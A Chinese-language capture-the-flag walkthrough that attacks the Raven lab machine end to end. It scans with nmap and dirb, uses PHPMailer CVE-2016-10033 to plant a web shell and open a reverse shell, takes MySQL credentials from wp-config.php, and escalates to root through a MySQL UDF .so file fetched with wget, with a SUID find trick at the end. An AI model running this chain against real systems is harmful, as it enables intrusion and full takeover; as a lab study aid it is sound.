环境
raven : 192.168.137.137
kali: 192.168.137.128
扫描端口
nmap -sS -Pn -A -p- -n 192.1678.137.137
扫描目录
dirb http://192.168.137.137
关键信息:
存在目录vendor,version下对应的是PHPMailer的版本:5.2.16
百度搜索:PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)
存在远程代码执行漏洞,那就好办了,
将脚本文件复制,
修改参数:
网站路径是/var/www/html/
一定要加
反弹shell
使用python3运行脚本:
访问192.168.137.137/contact.php
就会生成后门文件shell.php
然后我们开启端口监听:
nv -lvp 4444
访问shell.php,另一边成功反弹shell:
执行python -c "import pty;pty.spawn('/bin/bash')"
获得一个交互式的shell:
在wp-config.php下找到了数据库的用户名和密码:
root
R@v3nSecurity
连接数据库:
linux下udf提权
连接数据库:
1、查看是否有写文件的权限:
2、查看各个用户的权限:
当前用户启动数据库位root权限:
3、数据库版本是5.5.60,我们就需要知道plugin所在的位置,将so文件上传
4、查看数据库和操作系统架构
方式一
show variables like "%compile%"
64位的mysql数据库,去找对应的payload,可以在msf目录下查找就行,因为是64位的,所以必须要使用lib_mysqludf_sys_64.so
msf目录下的so文件在:usr/share/metasploit-framework/data/exploits/mysql
复制到根目录:
在kali上开启http服务:python3 -m http.server 8000
靶机通过wget命令下载so文件
连接mysql
mysql -u root -pR@v3nSecurity
在MySQL中Blob是一个二进制的对象,它是一个可以存储大量数据的容器(如图片,音乐等等),且能容纳不同大小的数据,在MySQL中有四种Blob类型,他们的区别就是可以容纳的信息量不容分别是以下四种:
①TinyBlob类型 最大能容纳255B的数据
②Blob类型 最大能容纳65KB的
③MediumBlob类型 最大能容纳16MB的数据
④LongBlob类型 最大能容纳4GB的数据
use mysql;
create table temp6(data longblob);
insert into temp6(data) values (load_file('/var/www/html/lib_mysqludf_sys_64.so')); //上传到哪就写哪
select data from temp6 into dumpfile "/usr/lib/mysql/plugin/udf64.so"; //这个和上一行不是一个路径,要根据前面进程列出来的plugin目录进行改动(一般就是这个)
create function sys_eval returns string soname 'udf64.so'; //创建sys_eval函数
select sys_eval('whoami'); //执行函数;
方式二
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so')); //上传到哪就写哪
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; //这个和上一行不是一个路径嗷,要根据前面进程列出来的plugin目录进行改动(一般就是这个)
create function do_system returns integer soname '1518.so'; //创建 do_system 函数调用
select do_system('chmod u+s /usr/bin/find'); //给find命令赋予suid权限
exit退出mysql,配合使用 find 调用执行find . -exec /bin/sh ; 成功!!
参考文章:
https://blog.csdn.net/kukudeshuo/article/details/118888664